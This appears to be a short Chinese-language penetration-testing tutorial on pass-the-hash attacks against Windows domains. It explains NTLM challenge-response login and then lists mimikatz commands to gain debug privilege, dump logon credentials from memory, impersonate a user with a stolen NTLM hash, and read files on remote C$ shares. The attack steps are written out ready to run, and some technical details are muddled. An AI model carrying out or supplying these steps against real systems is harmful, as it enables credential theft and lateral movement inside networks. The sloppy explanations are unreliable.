目录
概念与原理
哈西传递是通过哈希值验证用户密码,不通过明文密码登录。哈希是一种加密手法,根据哈希值无法推算出原文,常见的哈希加密函数有MD5、SHA1、SHA256。
哈希传递使用NTLM认证,攻击者在截获hash后不需要破解为明文再登录。因此在内网渗透时,攻击者获取到哈希值就可以使用哈希攻击获取到用户主机权限。
哈希传递适用于域中密码相同的主机,通过相同密码获取一台主机权限后可以拿下相同密码主机的权限。因为只有密码相同经过NTLM后的hash密文才相同。
NTLM:
明文密码--->16进制编码--->unicode编码--->MD4--->hash密文
哈希登录过程:
1.用户发送用户名user登录,不发送密码
2.服务器收到后,匹配有无该用户名若无登录失败,若有生成challenge,将本地存储的密码经过ntml加密生成hash,用hash加密challenge生成密文1存储在本地服务器,并将challenge发送给用户。challenge是随机生成的过一段时间改变一次。
3.用户使用ntml加密密码生成hash,用户收到challenge后,用hash加密challenge生成密文2,将密文2发送给服务器
4.服务器验证密文2是否与密文1相同,若相同则该用户登录成功。
环境
使用mimikatz
进入mimikatz路径
1. 首先打开cmd(注:需以管理员权限运行),使用提权命令,提权至system权限:
privilege::debug 提升权限到system权限
2.获取ntml值:
sekurlsa::logonpasswords 获取内存中保存的登录信息即用户的ntml值
3.尝试攻击:
sekurlsa::pth/user:x/domain:x/ntlm:e10adc3949ba59abbe56e057f20f883e user为要攻击主机名,domain为所在域,ntlm为明文密码通过hash加密后的密文,弹出新窗口
4.成功后可以查看该主机文件:
dir \\x.x.x.x\c$ dir查看ip为x.x.x.x,c盘下的文件
命令代码汇总:
privilege::debug 提升权限到system权限(注:需以管理员权限运行)
sekurlsa::logonpasswords 获取内存中保存的登录信息即用户的ntml值
sekurlsa::pth/user:x/domain:x.com/ntlm:e10adc3949ba59abbe56e057f20f883e user为要攻击主机名,domain为所在域,ntlm为明文密码通过hash加密后的密文,弹出新窗口
dir \\x.x.x.x\c$ dir查看ip为x.x.x.x,c盘下的文件
type \\x.x.x.x\c$\1.php 看ip下c盘里1.php文件